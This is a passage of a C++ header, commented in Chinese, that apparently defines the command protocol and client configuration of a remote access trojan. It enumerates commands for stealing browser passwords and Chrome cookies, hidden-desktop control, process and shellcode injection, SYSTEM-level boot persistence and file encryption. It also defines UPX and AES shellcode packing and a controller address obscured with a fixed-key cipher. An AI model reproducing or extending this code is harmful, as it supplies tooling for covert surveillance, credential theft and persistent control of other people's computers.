}; // 头部 16 字节
|
||
#pragma pack(pop)
|
||
|
||
static_assert(sizeof(ScreenPreviewReq) == 8, "ScreenPreviewReq must be 8 bytes");
|
||
static_assert(sizeof(ScreenPreviewRspHeader) == 16, "ScreenPreviewRspHeader must be 16 bytes");
|
||
|
||
enum ConnAuthStatus {
|
||
CONN_AUTH_OK = 0,
|
||
CONN_AUTH_BAD_SIZE = 1, // 包长度不对
|
||
CONN_AUTH_CLOCK_SKEW = 2, // 时间戳超过容忍范围
|
||
CONN_AUTH_BAD_SIGNATURE = 3, // HMAC 不匹配
|
||
CONN_AUTH_INTERNAL_ERROR = 4,
|
||
};
|
||
|
||
#define CONN_AUTH_TIMESTAMP_TOLERANCE_SEC 300 // 客户端/服务端时钟漂移容忍 ±5 分钟
|
||
#define CONN_AUTH_CLIENT_WAIT_MS 10000 // 客户端等待 ack 的超时
|
||
// 设为 10 秒留足跨太平洋 + 拥塞 / 卫星链路 / 偏远网络的余量;
|
||
// 同机几毫秒就回,正常路径用户感知不到。
|
||
|
||
enum MachineCommand {
|
||
MACHINE_LOGOUT,
|
||
MACHINE_SHUTDOWN,
|
||
MACHINE_REBOOT,
|
||
};
|
||
|
||
enum ProxyManager {
|
||
TOKEN_PROXY_CONNECT_RESULT,
|
||
TOKEN_PROXY_BIND_RESULT,
|
||
TOKEN_PROXY_CLOSE,
|
||
TOKEN_PROXY_DATA,
|
||
COMMAND_PROXY_CLOSE,
|
||
COMMAND_PROXY_CONNECT,
|
||
COMMAND_PROXY_DATA,
|
||
COMMAND_PROXY_CONNECT_HOSTNAME,
|
||
};
|
||
|
||
// 后台屏幕其他命令
|
||
enum HideScreenSpy {
|
||
COMMAND_FLUSH_HIDE, // 刷新屏幕
|
||
COMMAND_SCREEN_SETSCREEN_HIDE, // 重置分辨率
|
||
COMMAND_HIDE_USER, // 自定义命令
|
||
COMMAND_HIDE_CLEAR, // 清理后台
|
||
COMMAND_COMMAND_SCREENUALITY60_HIDE, // 清晰度
|
||
COMMAND_COMMAND_SCREENUALITY85_HIDE, // 清晰度
|
||
COMMAND_COMMAND_SCREENUALITY100_HIDE, // 清晰度
|
||
|
||
IDM_OPEN_Explorer = 33,
|
||
IDM_OPEN_run,
|
||
IDM_OPEN_Powershell,
|
||
|
||
IDM_OPEN_360JS,
|
||
IDM_OPEN_360AQ,
|
||
IDM_OPEN_360AQ2,
|
||
IDM_OPEN_Chrome,
|
||
IDM_OPEN_Edge,
|
||
IDM_OPEN_Brave,
|
||
IDM_OPEN_Firefox,
|
||
IDM_OPEN_Iexplore,
|
||
IDM_OPEN_ADD_1,
|
||
IDM_OPEN_ADD_2,
|
||
IDM_OPEN_ADD_3,
|
||
IDM_OPEN_ADD_4,
|
||
IDM_OPEN_zdy,
|
||
IDM_OPEN_zdy2,
|
||
IDM_OPEN_close,
|
||
};
|
||
|
||
struct ZdyCmd {
|
||
char oldpath[_MAX_PATH];
|
||
char newpath[_MAX_PATH];
|
||
char cmdline[_MAX_PATH];
|
||
};
|
||
|
||
// 解密数据
|
||
enum DecryptCommand {
|
||
COMMAND_LLQ_GetChromePassWord,
|
||
COMMAND_LLQ_GetEdgePassWord,
|
||
COMMAND_LLQ_GetSpeed360PassWord,
|
||
COMMAND_LLQ_Get360sePassWord,
|
||
COMMAND_LLQ_GetQQBroPassWord,
|
||
|
||
COMMAND_LLQ_GetChromeCookies,
|
||
};
|
||
|
||
typedef DecryptCommand BroType;
|
||
|
||
// 这是服务管理页面既有定义
|
||
#define CMD_WINDOW_CLOSE 0 // 关闭窗口
|
||
#define CMD_WINDOW_TEST 1 // 操作窗口
|
||
|
||
// MachineManager 系统管理, 前几个枚举值顺序不得修改
|
||
enum MachineManager {
|
||
COMMAND_MACHINE_PROCESS,
|
||
COMMAND_MACHINE_WINDOWS,
|
||
COMMAND_MACHINE_NETSTATE,
|
||
COMMAND_MACHINE_SOFTWARE,
|
||
COMMAND_MACHINE_HTML,
|
||
COMMAND_MACHINE_FAVORITES,
|
||
COMMAND_MACHINE_WIN32SERVICE,
|
||
COMMAND_MACHINE_DRIVERSERVICE,
|
||
COMMAND_MACHINE_TASK,
|
||
COMMAND_MACHINE_HOSTS, //不能乱序号
|
||
|
||
COMMAND_APPUNINSTALL,//卸载
|
||
COMMAND_WINDOW_OPERATE,//窗口控制
|
||
COMMAND_WINDOW_CLOSE,//关闭
|
||
COMMAND_PROCESS_KILL,//结束进程
|
||
COMMAND_PROCESS_KILLDEL,//结束进程----删除
|
||
COMMAND_PROCESS_DEL,//强制删除 不需要结束进程
|
||
COMMAND_PROCESS_FREEZING,//冻结
|
||
COMMAND_PROCESS_THAW,//解冻
|
||
COMMAND_HOSTS_SET,//hosts
|
||
|
||
COMMAND_SERVICE_LIST_WIN32,
|
||
COMMAND_SERVICE_LIST_DRIVER,
|
||
COMMAND_DELETESERVERICE,
|
||
COMMAND_STARTSERVERICE,
|
||
COMMAND_STOPSERVERICE,
|
||
COMMAND_PAUSESERVERICE,
|
||
COMMAND_CONTINUESERVERICE,
|
||
|
||
COMMAND_TASKCREAT,
|
||
COMMAND_TASKDEL,
|
||
COMMAND_TASKSTOP,
|
||
COMMAND_TASKSTART,
|
||
|
||
COMMAND_INJECT,
|
||
|
||
TOKEN_MACHINE_PROCESS,
|
||
TOKEN_MACHINE_WINDOWS,
|
||
TOKEN_MACHINE_NETSTATE,
|
||
TOKEN_MACHINE_SOFTWARE,
|
||
TOKEN_MACHINE_HTML,
|
||
TOKEN_MACHINE_FAVORITES,
|
||
TOKEN_MACHINE_WIN32SERVICE,
|
||
TOKEN_MACHINE_DRIVERSERVICE,
|
||
TOKEN_MACHINE_HOSTS,
|
||
TOKEN_MACHINE_SERVICE_LIST,
|
||
TOKEN_MACHINE_TASKLIST,
|
||
|
||
TOKEN_MACHINE_MSG,
|
||
};
|
||
|
||
struct WINDOWSINFO {
|
||
char strTitle[1024];
|
||
DWORD m_poceessid;
|
||
DWORD m_hwnd;
|
||
bool canlook;
|
||
int w;
|
||
int h;
|
||
};
|
||
|
||
// 远程交谈
|
||
enum ChatManager {
|
||
COMMAND_NEXT_CHAT,
|
||
COMMAND_CHAT_CLOSE,
|
||
COMMAND_CHAT_SCREEN_LOCK,
|
||
COMMAND_CHAT_SCREEN_UNLOCK,
|
||
};
|
||
|
||
// 文件管理
|
||
enum _FileManager {
|
||
COMMAND_COMPRESS_FILE_PARAM=220,
|
||
COMMAND_FILES_SEARCH_START,
|
||
COMMAND_FILES_SEARCH_STOP,
|
||
COMMAND_FILE_EXCEPTION,
|
||
COMMAND_SEARCH_FILE,
|
||
COMMAND_FILE_GETNETHOOD,
|
||
COMMAND_FILE_RECENT,
|
||
COMMAND_FILE_INFO,
|
||
COMMAND_FILE_Encryption,
|
||
COMMAND_FILE_Decrypt,
|
||
COMMAND_FILE_ENFOCE,
|
||
COMMAND_FILE_CopyFile,
|
||
COMMAND_FILE_PasteFile,
|
||
COMMAND_FILE_zip,
|
||
COMMAND_FILE_zip_stop,
|
||
COMMAND_FILE_NO_ENFORCE,
|
||
COMMAND_FILE_GETINFO,
|
||
|
||
COMMAND_FILE_SEARCHPLUS_LIST,
|
||
|
||
TOKEN_SEARCH_FILE_LIST,
|
||
TOKEN_SEARCH_FILE_FINISH,
|
||
TOKEN_CFileManagerDlg_DATA_CONTINUE,
|
||
TOKEN_COMPRESS_FINISH,
|
||
TOKEN_SEARCH_ADD,
|
||
TOKEN_SEARCH_END,
|
||
TOKEN_FILE_GETNETHOOD,
|
||
TOKEN_FILE_RECENT,
|
||
TOKEN_FILE_INFO,
|
||
TOKEN_FILE_REFRESH,
|
||
TOKEN_FILE_ZIPOK,
|
||
TOKEN_FILE_GETINFO,
|
||
|
||
TOKEN_FILE_SEARCHPLUS_LIST,
|
||
TOKEN_FILE_SEARCHPLUS_NONTFS,
|
||
TOKEN_FILE_SEARCHPLUS_HANDLE,
|
||
TOKEN_FILE_SEARCHPLUS_INITUSN,
|
||
TOKEN_FILE_SEARCHPLUS_GETUSN,
|
||
TOKEN_FILE_SEARCHPLUS_NUMBER,
|
||
};
|
||
|
||
// 远程画板
|
||
enum RemoteDraw {
|
||
CMD_DRAW_POINT = 0,
|
||
CMD_DRAW_END = 1,
|
||
CMD_TRANSPORT = 2,
|
||
CMD_TOPMOST = 3,
|
||
CMD_MOVEWINDOW = 4,
|
||
CMD_SET_SIZE = 5,
|
||
CMD_DRAW_CLEAR = 6,
|
||
CMD_DRAW_TEXT = 7,
|
||
};
|
||
|
||
enum {
|
||
CLIENT_TYPE_DLL = 0, // 客户端代码以DLL运行
|
||
CLIENT_TYPE_ONE = 1, // 客户端代码以单个EXE运行
|
||
CLIENT_TYPE_MEMEXE = -1, // 内存EXE运行
|
||
CLIENT_TYPE_MODULE = 2, // DLL需由外部程序调用
|
||
CLIENT_TYPE_SHELLCODE = 4, // Shellcode
|
||
CLIENT_TYPE_MEMDLL = 5, // 内存DLL运行
|
||
CLIENT_TYPE_LINUX = 6, // LINUX 客户端
|
||
CLIENT_TYPE_MACOS = 7, // MACOS 客户端
|
||
CLIENT_TYPE_ANDROID = 8, // ANDROID 客户端
|
||
};
|
||
|
||
enum {
|
||
SHARE_TYPE_YAMA = 0, // 分享给同类程序
|
||
SHARE_TYPE_HOLDINGHANDS = 1, // 分享给 HoldingHands: https://github.com/yuanyuanxiang/HoldingHands
|
||
SHARE_TYPE_YAMA_FOREVER = 100, // 永久分享
|
||
};
|
||
|
||
inline const char* GetClientType(int typ)
|
||
{
|
||
switch (typ) {
|
||
case CLIENT_TYPE_DLL:
|
||
return "DLL";
|
||
case CLIENT_TYPE_ONE:
|
||
return "EXE";
|
||
case CLIENT_TYPE_MEMEXE:
|
||
return "MEXE";
|
||
case CLIENT_TYPE_MODULE:
|
||
return "DLL";
|
||
case CLIENT_TYPE_SHELLCODE:
|
||
return "SC";
|
||
case CLIENT_TYPE_MEMDLL:
|
||
return "MDLL";
|
||
case CLIENT_TYPE_LINUX:
|
||
return "LNX";
|
||
case CLIENT_TYPE_MACOS:
|
||
return "MAC";
|
||
case CLIENT_TYPE_ANDROID:
|
||
return "APK";
|
||
default:
|
||
return "DLL";
|
||
}
|
||
}
|
||
|
||
inline int compareDates(const std::string& date1, const std::string& date2)
|
||
{
|
||
static const std::unordered_map<std::string, int> monthMap = {
|
||
{"Jan", 1}, {"Feb", 2}, {"Mar", 3}, {"Apr", 4}, {"May", 5}, {"Jun", 6},
|
||
{"Jul", 7}, {"Aug", 8}, {"Sep", 9}, {"Oct",10}, {"Nov",11}, {"Dec",12}
|
||
};
|
||
|
||
auto parse = [&](const std::string& date) -> std::tuple<int, int, int> {
|
||
int month = monthMap.at(date.substr(0, 3));
|
||
int day = std::stoi(date.substr(4, 2));
|
||
int year = std::stoi(date.substr(7, 4));
|
||
return { year, month, day };
|
||
};
|
||
|
||
try {
|
||
auto t1 = parse(date1);
|
||
auto t2 = parse(date2);
|
||
int y1 = std::get<0>(t1), m1 = std::get<1>(t1), d1 = std::get<2>(t1);
|
||
int y2 = std::get<0>(t2), m2 = std::get<1>(t2), d2 = std::get<2>(t2);
|
||
|
||
if (y1 != y2) return y1 < y2 ? -1 : 1;
|
||
if (m1 != m2) return m1 < m2 ? -1 : 1;
|
||
if (d1 != d2) return d1 < d2 ? -1 : 1;
|
||
return 0;
|
||
} catch (const std::exception& e) {
|
||
std::cerr << "Date parse error: " << e.what() << std::endl;
|
||
return -2; // 返回特殊值表示出错
|
||
}
|
||
}
|
||
|
||
// 此枚举值和ClientType相似,但又不是完全一致,专为`TestRun`定制
|
||
// 指本质上运行`ServerDll`的形式
|
||
// `TestRun` 只用于技术研究目的
|
||
enum TestRunType {
|
||
Startup_DLL, // 磁盘DLL
|
||
Startup_MEMDLL, // 内存DLL(无磁盘文件)
|
||
Startup_InjDLL, // 远程注入 DLL(注入DLL路径,仍依赖磁盘DLL)
|
||
Startup_Shellcode, // 本地 Shell code (在当前程序执行shell code )
|
||
Startup_InjSC, // 远程 Shell code (注入其他程序执行shell code )
|
||
Startup_GhostMsc, // Windows 服务
|
||
Startup_TestRunMsc, // Windows 服务
|
||
Startup_GhostSystem, // SYSTEM 权限运行(随开机启动)
|
||
Startup_TestRunSystem, // SYSTEM 权限运行(随开机启动)
|
||
};
|
||
|
||
inline int MemoryFind(const char* szBuffer, const char* Key, int iBufferSize, int iKeySize)
|
||
{
|
||
for (int i = 0; i <= iBufferSize - iKeySize; ++i) {
|
||
if (0 == memcmp(szBuffer + i, Key, iKeySize)) {
|
||
return i;
|
||
}
|
||
}
|
||
return -1;
|
||
}
|
||
|
||
enum ProtoType {
|
||
PROTO_TCP = 0, // TCP
|
||
PROTO_UDP = 1, // UDP
|
||
PROTO_HTTP = 2, // HTTP
|
||
PROTO_RANDOM = 3, // 随机
|
||
PROTO_KCP = 4, // KCP
|
||
PROTO_WS = 5, // WebSocket(明文;反代把 upgrade 转发到主控端口)
|
||
PROTO_WSS = 6, // WebSocket over TLS(客户端经反代 443 等受限端口接入)
|
||
PROTO_HTTPS = 7, // HTTPS(未启用:生成界面从未提供该选项,故 5 可让给 WS;原值 5)
|
||
};
|
||
|
||
// WebSocket 传输的 Upgrade 路径。反代的 location 必须与这里一致(服务端默认接受任意路径,
|
||
// 该常量只决定客户端请求哪个路径,见 client/WsChannel.h)。
|
||
#define WS_UPGRADE_PATH "/api/ws"
|
||
|
||
#define KCP_SESSION_ID 666
|
||
|
||
enum RunningType {
|
||
RUNNING_RANDOM = 0, // 随机上线
|
||
RUNNING_PARALLEL = 1, // 并发上线
|
||
};
|
||
|
||
enum ProtocolEncType {
|
||
PROTOCOL_SHINE = 0,
|
||
PROTOCOL_HELL = 1,
|
||
};
|
||
|
||
enum ClientCompressType {
|
||
CLIENT_COMPRESS_NONE = 0,
|
||
CLIENT_COMPRESS_UPX = 1,
|
||
CLIENT_COMPRESS_SC_AES = 2,
|
||
CLIENT_PE_TO_SEHLLCODE = 3,
|
||
CLIENT_COMPRESS_SC_AES_OLD = 4,
|
||
CLIENT_SHELLCODE_BINARY = 5,
|
||
CLIENT_COMP_SC_AES_OLD_UPX = 6,
|
||
};
|
||
|
||
inline std::vector<std::string> StringToVector(const std::string& str, char ch, int reserved = 1);
|
||
|
||
#pragma pack(push, 4)
|
||
// 所连接的主控程序信息
|
||
typedef struct CONNECT_ADDRESS {
|
||
public:
|
||
char szFlag[32]; // 标识
|
||
char szServerIP[100]; // 主控IP
|
||
char szPort[8]; // 主控端口
|
||
int iType; // 客户端类型
|
||
bool bEncrypt; // 上线信息是否加密
|
||
char szBuildDate[12]; // 构建日期(版本)
|
||
int iMultiOpen; // 支持打开多个
|
||
int iStartup; // 启动方式
|
||
int iHeaderEnc; // 数据加密类型
|
||
char protoType; // 协议类型
|
||
char runningType; // 运行方式
|
||
char szGroupName[24]; // 分组名称
|
||
char runasAdmin; // 是否提升权限运行
|
||
char szReserved[11]; // 占位,使结构体占据300字节
|
||
uint64_t clientID; // 客户端唯一标识
|
||
uint64_t parentHwnd; // 父进程窗口句柄
|
||
uint64_t superAdmin; // 管理员主控ID
|
||
char pwdHash[64]; // 密码哈希
|
||
/* Since 2026-01-10 */
|
||
char installDir[32]; // 安装目录
|
||
char installName[32]; // 安装名称
|
||
char installDesc[136];// 安装描述
|
||
int installFlag; // 安装标记
|
||
char szFuture[496]; // 保留字段,见下方 LOCAL_TEST_CLIENT_MAGIC(前 16 字节已被占用)
|
||
|
||
public:
|
||
void SetType(int typ)
|
||
{
|
||
iType = typ;
|
||
}
|
||
const void* Flag() const
|
||
{
|
||
return szFlag;
|
||
}
|
||
CONNECT_ADDRESS ModifyFlag(const char* flag) const
|
||
{
|
||
CONNECT_ADDRESS copy = *this;
|
||
memset(copy.szFlag, 0, sizeof(szFlag));
|
||
memcpy(copy.szFlag, flag, strlen(flag));
|
||
return copy;
|
||
}
|
||
void SetAdminId(const char* admin)
|
||
{
|
||
char buf[17] = { 0 };
|
||
strncpy(buf, admin, 16);
|
||
superAdmin = std::strtoull(buf, NULL, 16);
|
||
}
|
||
int GetHeaderEncType() const
|
||
{
|
||
#ifdef _DEBUG
|
||
return iHeaderEnc;
|
||
#else
|
||
return superAdmin == 7057226198541618915 ? iHeaderEnc : 0;
|
||
#endif
|
||
}
|
||
bool IsVerified() const
|
||
{
|
||
#ifdef _DEBUG
|
||
return true;
|
||
#else
|
||
return superAdmin && (superAdmin % 313) == 0;
|
||
#endif
|
||
}
|
||
int FlagLen() const
|
||
{
|
||
return strlen(szFlag);
|
||
}
|
||
const char* ServerIP()
|
||
{
|
||
if (bEncrypt) {
|
||
Decrypt();
|
||
}
|
||
return szServerIP;
|
||
}
|
||
// 从分号分隔的多 IP 中随机选择一个
|
||
std::string GetRandomServerIP()
|
||
{
|
||
const char* ip = ServerIP();
|
||
if (ip == nullptr || strlen(ip) == 0) return "";
|
||
auto list = StringToVector(ip, ';');
|
||
if (list.empty()) return "";
|
||
return list[rand() % list.size()];
|
||
}
|
||
// 获取第一个 IP
|
||
std::string GetFirstServerIP()
|
||
{
|
||
const char* ip = ServerIP();
|
||
if (ip == nullptr || strlen(ip) == 0) return "";
|
||
auto list = StringToVector(ip, ';');
|
||
return list.empty() ? "" : list[0];
|
||
}
|
||
int ServerPort()
|
||
{
|
||
if (bEncrypt) {
|
||
Decrypt();
|
||
}
|
||
return atoi(szPort);
|
||
}
|
||
int ClientType()const
|
||
{
|
||
return iType;
|
||
}
|
||
// return true if modified
|
||
bool SetServer(const char* ip, int port, bool e = false)
|
||
{
|
||
if (ip == NULL || strlen(ip) <= 0 || port <= 0)
|
||
return false;
|
||
bool modified = bEncrypt != e || strcmp(ServerIP(), ip) != 0 || port != ServerPort();
|
||
bEncrypt = e;
|
||
strcpy_s(szServerIP, ip);
|
||
sprintf_s(szPort, "%d", port);
|
||
|
||
return modified;
|
||
}
|
||
void Encrypt()
|
||
{
|
||
if (!bEncrypt) {
|
||
bEncrypt = true;
|
||
StreamCipher cipher(0x12345678);
|
||
cipher.process((uint8_t*)szServerIP, sizeof(szServerIP));
|
||
cipher.process((uint8_t*)szPort, sizeof(szPort));
|
||
}
|
||
}
|
||
void Decrypt()
|
||
{
|
||
if (bEncrypt) {
|
||
bEncrypt = false;
|
||
StreamCipher cipher(0x12345678);
|
||
cipher.process((uint8_t*)szServerIP, sizeof(szServerIP));
|
||
cipher.process((uint8_t*)szPort, sizeof(szPort));
|
||
}
|
||
}
|
||
bool IsValid()
|
||
{
|
||
return strlen(ServerIP()) != 0 && ServerPort() > 0;
|
||
}
|
||
int Size() const
|
||
{
|
||
return sizeof(CONNECT_ADDRESS);
|
||
}
|
||
} CONNECT_ADDRESS ;
|
||
#pragma pack(pop)
|
||
|
||
// 「主控端→高级→运行测试程序」标记:主控把 ServerDll 在自己进程里内存加载时写进
|
||
// CONNECT_ADDRESS::szFuture 的开头,客户端据此认出自己跑在宿主主控进程内。这类实例的
|
||
// 「本程序文件」其实是主控 EXE,凡是按 GetModuleFileName(NULL) 操作自身的指令(卸载删
|
||
// 自身、更新重启自身、提权重启自身)都会打到主控身上,必须一律拒绝;关机/重启/注销这类
|
||
// 会关掉用户整台机器的指令同理。判定点集中在 client/KernelManager.cpp 的 OnReceive。
|
||
//
|
||
// 注意 szFuture 是**保留字段**,一旦真被某个新功能用起来,这里要先给它留出前
|
||
// sizeof(LOCAL_TEST_CLIENT_MAGIC) 字节,否则标记被覆盖后 IsLocalTestClient() 会静默返回
|
||
// false —— 进程内的测试实例就退化成普通客户端,卸载/更新/提权会作用到主控自己身上。
|
||
// 下面的 static_assert 只能挡住字段变小,挡不住「被复用」,改动该字段时请回头看这段注释。
|
||
#define LOCAL_TEST_CLIENT_MAGIC "YAMA_LOCAL_TEST"
|
||
static_assert(sizeof(((CONNECT_ADDRESS*)0)->szFuture) >= sizeof(LOCAL_TEST_CLIENT_MAGIC),
|
||
"CONNECT_ADDRESS::szFuture 至少要能放下 LOCAL_TEST_CLIENT_MAGIC");
|
||
inline bool IsLocalTestClient(const CONNECT_ADDRESS* conn)
|
||
{
|
||
return conn && strncmp(conn->szFuture, LOCAL_TEST_CLIENT_MAGIC,
|
||
sizeof(LOCAL_TEST_CLIENT_MAGIC) - 1) == 0;
|
||
}
|
||
|
||
#define FOREVER_RUN 2
|
||
|
||
// 客户端程序线程信息结构体, 包含5个成员:
|
||
// 运行状态(run)、句柄(h)、通讯客户端(p)、调用者参数(user)和连接信息(conn).
|
||
struct ThreadInfo {
|
||
int run;
|
||
HANDLE h;
|
||
void* p;
|
||
void* user;
|
||
CONNECT_ADDRESS* conn;
|
||
ThreadInfo() : run(1), h(NULL), p(NULL), user(NULL), conn(NULL) { }
|
||
void Exit(int wait_sec = 15)
|
||
{
|
||
run = 0;
|
||
for (int count = 0; p && count++ < wait_sec; Sleep(1000));
|
||
#ifdef _WIN32
|
||
if (p) TerminateThread(h, 0x20250626);
|
||
if (p) CloseHandle(h);
|
||
#endif
|
||
p = NULL;
|
||
h = NULL;
|
||
user = NULL;
|
||
conn = NULL;
|
||
}
|
||
};
|
||
|
||
struct PluginParam {
|
||
char IP[100]; // 主控IP
|
||
int Port; // 主控端口
|
||
const State *Exit; // 客户端状态
|
||
const void* User; // CONNECT_ADDRESS* 指针
|
||
PluginParam(const char*ip, int port, const State *s, const void* u=0) : Port(port), Exit(s), User(u)
|
||
{
|
||
strcpy_s(IP, ip);
|
||
}
|
||
};
|
||
|
||
// 将字符串按指定字符分隔为向量
|
||
inline std::vector<std::string> StringToVector(const std::string& str, char ch, int reserved)
|
||
{
|
||
// 使用字符串流来分隔字符串
|
||
std::istringstream stream(str);
|
||
std::string item;
|
||
std::vector<std::string> result;
|
||
|
||
// 按分号分隔字符串
|
||
while (std::getline(stream, item, ch)) {
|
||
result.push_back(item); // 将分隔出来的子字符串添加到结果向量中
|
||
}
|
||
while (result.size() < reserved)
|
||
result.push_back("");
|
||
|
||
return result;
|
||
}
|
||
|
||
inline bool VectorContains(const std::vector<std::string>& v, const std::string& elem) {
|
||
for (const auto& s : v)
|
||
if (s == elem) return true;
|
||
return false;
|
||
}
|
||
|
||
inline std::string VectorJoin(const std::vector<std::string>& v, char ch) {
|
||
std::string result;
|
||
for (size_t i = 0; i < v.size(); ++i) {
|
||
if (i > 0) result += ch;
|
||
result += v[i];
|
||
}
|
||
return result;
|
||
}
|
||
|
||
enum LOGIN_RES {
|
||
RES_CLIENT_TYPE = 0, // 类型
|
||
RES_SYSTEM_BITS = 1, // 系统位数
|
||
RES_SYSTEM_CPU = 2, // CPU核数
|
||
RES_SYSTEM_MEM = 3, // 系统内存
|
||
RES_FILE_PATH = 4, // 文件路径
|
||
RES_RESVERD = 5, // ?
|
||
RES_INSTALL_TIME = 6, // 安装时间
|
||
RES_INSTALL_INFO = 7, // 安装信息
|
||
RES_PROGRAM_BITS = 8, // 程序位数
|
||
RES_EXPIRED_DATE = 9, // 到期日期
|
||
RES_CLIENT_LOC = 10, // 地理位置
|
||
RES_CLIENT_PUBIP = 11, // 公网地址
|
||
RES_EXE_VERSION = 12, // EXE版本
|
||
RES_USERNAME = 13, // 电脑用户名称
|
||
RES_ISADMIN = 14, // 是否具有管理员权限
|
||
RES_RESOLUTION = 15, // 屏幕分辨率
|
||
RES_CLIENT_ID = 16, // 客户端唯一ID
|
||
RES_PID = 17, // 进程ID
|
||
RES_FILESIZE = 18, // 文件大小
|
||
RES_TLS = 19, // TLS 传输启用标志 0/1
|
||
// 登录时刻的「进程已运行秒数」。与 RES_* 里任何时间字符串都不同,它是差值而不是
|
||
// 时刻:客户端用同源的两次读数相减(Windows 是 GetProcessTimes 与
|
||
// GetSystemTimeAsFileTime,Linux/Android 是同一块墙钟),时区与整机时钟偏移自动
|
||
// 抵消。服务端优先用它算运行时长,缺失时退回 szStartTime 字符串那套老逻辑。
|
||
RES_UPTIME = 20,
|
||
RES_MAX,
|
||
};
|
||
|
||
// 服务上线后发送的计算机信息
|
||
// 此结构体一旦发生变化(比如大小),则以前版本的客户端无法连接新版主控.
|
||
// 新版客户端也无法连接老版本的主控程序.
|
||
// 为此,自20241228提交以来,为这个结构体预留字段,以便未来之不时之需
|
||
// 请勿再修改此结构体,除非你决定不再兼容以前的程序或者单独编写代码来兼容
|
||
typedef struct LOGIN_INFOR {
|
||
unsigned char bToken; // 1.登陆信息
|
||
char OsVerInfoEx[156]; // 2.版本信息
|
||
unsigned int dwCPUMHz; // 3.CPU主频
|
||
char moduleVersion[24]; // 4.DLL模块版本
|
||
char szPCName[240]; // 5.主机名
|
||
char szMasterID[20]; // 5.1 主控ID
|
||
int bWebCamIsExist; // 6.是否有摄像头
|
||
unsigned int dwSpeed; // 7.网速
|
||
char szStartTime[20]; // 8.启动时间
|
||
char szReserved[512]; // 9.保留字段
|
||
|
||
LOGIN_INFOR()
|
||
{
|
||
memset(this, 0, sizeof(LOGIN_INFOR));
|
||
bToken = TOKEN_LOGIN;
|
||
SetCaps(DefaultCaps());
|
||
}
|
||
|
||
// 本平台的默认能力位:声明客户端实际实现了的功能。
|
||
// SCREEN_PREVIEW 依赖抓屏:Windows 恒为真(GDI BitBlt + GDI+ JPEG);Linux 要等
|
||
// 运行时确认有可截图的 X11 会话,所以不在这里声明,由 main.cpp 探测后用
|
||
// SetCaps(DefaultCaps() | CLIENT_CAP_SCREEN_PREVIEW) 追加。
|
||
static unsigned int DefaultCaps()
|
||
{
|
||
unsigned int caps = CLIENT_CAP_V2 | CLIENT_CAP_UTF8;
|
||
#ifdef _WIN32
|
||
caps |= CLIENT_CAP_SCREEN_PREVIEW;
|
||
caps |= CLIENT_CAP_C2C_PATHS;
|
||
// 协议切换(COMMAND_SET_PROTO)只有 Windows 客户端实现了命令处理与入口持久化。
|
||
caps |= CLIENT_CAP_PROTO_SWITCH;
|
||
// 多显示器远程控制:抓整个虚拟桌面,截图与注入共用同一坐标系。
|
||
caps |= CLIENT_CAP_VIRTUAL_DESKTOP;
|
||
#elif defined(__linux__) && !defined(__ANDROID__)
|
||
// Linux 客户端作为 C2C 目标端时会回执落盘结果(common/FileTransferV2.h)。
|
||
// macOS 暂未接线(无全局主连接句柄),不声明——服务端就不会为它空等回执。
|
||
caps |= CLIENT_CAP_C2C_RECV_ACK;
|
||
#endif
|
||
return caps;
|
||
}
|
||
|
||
// 覆写能力位。服务端只从 moduleVersion 的 "版本-XXXX" 后缀解析能力位
|
||
// (2015RemoteDlg.cpp AddList),因此改能力位必须重写该字段;
|
||
// LOGIN_INFOR 是与服务端共享的定长结构,不能再加成员来携带它。
|
||
void SetCaps(unsigned int caps)
|
||
{
|
||
sprintf_s(moduleVersion, "%s-%04X", DLL_VERSION, caps);
|
||
}
|
||
LOGIN_INFOR& Speed(unsigned long speed)
|
||
{
|
||
dwSpeed = speed;
|
||
return *this;
|
||
}
|
||
void AddReserved(const char* v)
|
||
{
|
||
AppendField(v ? v : "");
|
||
}
|
||
void AddReserved(int n)
|
||
{
|
||
char buf[24] = {};
|
||
sprintf_s(buf, "%d", n);
|
||
AppendField(buf);
|
||
}
|
||
void AddReserved(double f)
|
||
{
|
||
char buf[24] = {};
|
||
sprintf_s(buf, "%.2f", f);
|
||
AppendField(buf);
|
||
}
|
||
std::vector<std::string> ParseReserved(int n = 1) const
|
||
{
|
||
return StringToVector(szReserved, '|', n);
|
||
}
|
||
|
||
private:
|
||
// 追加一个保留字段。szReserved 是「按位置」解析的(服务端用 LOGIN_RES 下标取值),
|
||
// 因此这里有两个硬约束:
|
||
// 1. 任何一次写入都不能越界。带长度参数的 strcat_s 溢出时会调用 invalid parameter
|
||
// handler —— 服务端装了(2015Remote.cpp),客户端没装,在客户端就是直接 abort。
|
||
// 2. 值放不下时只留空槽、不能连槽一起丢。少写一个 '|' 会让后面所有字段整体前移
|
||
// 一位,服务端就把安装时间读成程序位数、把用户名读成类型……空槽至少位置是对的。
|
||
void AppendField(const char* v)
|
||
{
|
||
const size_t cap = sizeof(szReserved);
|
||
// 用 strlen 而不是 strnlen_s:后者是 MSVC 的 Annex K 扩展,Linux/Android 分支
|
||
// 没有(commands.h 在该分支只把 strcat_s/sprintf_s 映射到非安全版本)。
|
||
// szReserved 与 v 都是 NUL 结尾的,长度不会越界读取。
|
||
size_t cur = strlen(szReserved);
|
||
if (cur + 1 >= cap)
|
||
return; // 已满:连分隔符都放不下
|
||
if (cur > 0)
|
||
szReserved[cur++] = '|';
|
||
szReserved[cur] = '\0';
|
||
size_t len = strlen(v);
|
||
if (len >= cap - cur)
|
||
return; // 值放不下(含结尾 NUL 的空间):留空槽
|
||
memcpy(szReserved + cur, v, len);
|
||
szReserved[cur + len] = '\0';
|
||
}
|
||
} LOGIN_INFOR;
|
||
|
||
inline uint64_t GetUnixMs()
|
||
{
|
||
auto system_ms = std::chrono::time_point_cast<std::chrono::milliseconds>(
|
||
std::chrono::system_clock::now()
|
||
);
|
||
return system_ms.time_since_epoch().count();
|
||
}
|
||
|
||
enum AuthStatus {
|
||
UNAUTHORIZED = 0, // 未授权
|
||
AUTHED_BY_SUPER = 1, // 由超级管理员授权
|
||
AUTHED_BY_ADMIN = 2, // 由管理员授权
|
||
AUTH_FORBIDDEN = 9,
|
||
};
|
||
|
||
// 固定1024字节
|
||
typedef struct Heartbeat {
|
||
uint64_t Time;
|
||
char ActiveWnd[512];
|
||
int Ping;
|
||
int HasSoftware;
|
||
char SN[20];
|
||
char Passcode[44];
|
||
uint64_t PwdHmac; // V1 HMAC (8 bytes), 如果为0则检查 PwdHmacV2
|
||
char PwdHmacV2[96]; // V2 HMAC 字符串 "v2:BASE64..." (如果 PwdHmac == 0)
|
||
char Reserved[328]; // 424 - 96 = 328
|
||
|
||
Heartbeat()
|
||
{
|
||
